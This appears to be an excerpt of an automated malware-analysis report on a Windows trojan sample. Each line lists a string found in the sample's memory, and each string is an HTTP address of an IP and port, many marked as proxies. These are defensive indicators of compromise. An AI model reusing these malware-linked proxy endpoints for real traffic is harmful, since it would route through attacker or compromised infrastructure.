Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.209.66.178:16099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.209.66.178:16099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:36790
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:36790://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:44416
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:44416://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:14549
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:14549://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:20592
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:20592://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:39545
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:39545://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:44672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:44672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:54099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:54099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:57118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:57118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:61211
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:61211://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:10267
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:10267://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:20341
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:20341://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:39180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:39180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:58854
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.240.168:58854://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C670F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.20.84:52100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C670F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.20.84:52100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.20.84:52100x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.29.243:9123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.29.243:9123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.30.165:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.30.165:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.30.197:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.30.197:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:16708
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:16708://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C807E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:17827
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:17827://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:19633
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:19633://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:19633x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:26686
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:26686://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB071000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:27427
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:27427://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:44194
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:44194://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:45241
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:45241://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:49382
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:49382://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:49851
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:49851://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:52019
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:52019://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:5640
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:5640://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:62690
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:62690://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ED8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:8221
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:8221://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C788D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.255.119.18
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C784B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.255.119.18://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.255.119.18:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.44.141.179:2006
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.44.141.179:2006://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.136.57.169:30453
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.136.57.169:30453://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.176.78:24697
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.176.78:24697://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.141.233.168:1287
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.141.233.168:1287://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.79:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.79:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA5F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.82:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.82:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.75.211.222:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.75.211.222:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.196:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.196:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.197:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.197:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB02D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.198:49547
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.198:49547://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.100.103.170:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.100.103.170:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.100.91.212:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.100.91.212:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.106.10.227:7878
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.106.10.227:7878://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.139.179.65:42580
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.139.179.65:42580://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8193
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8193://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA879000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA8A3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8197
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8197://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.213.76.24
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.213.76.24://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.213.76.24:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C853A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.229.79.45:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.229.79.45:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77C9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.110.121.90:21776
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.110.121.90:21776://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.102:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.102:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.104:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.104:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.115.79.195:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.115.79.195:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.120.32.135:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.120.32.135:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.126.84.126:22625
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.126.84.126:22625://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7756000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.103.58:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.103.58:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.219.74:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.219.74:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.236.124.252:10001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.236.124.252:10001://proxy
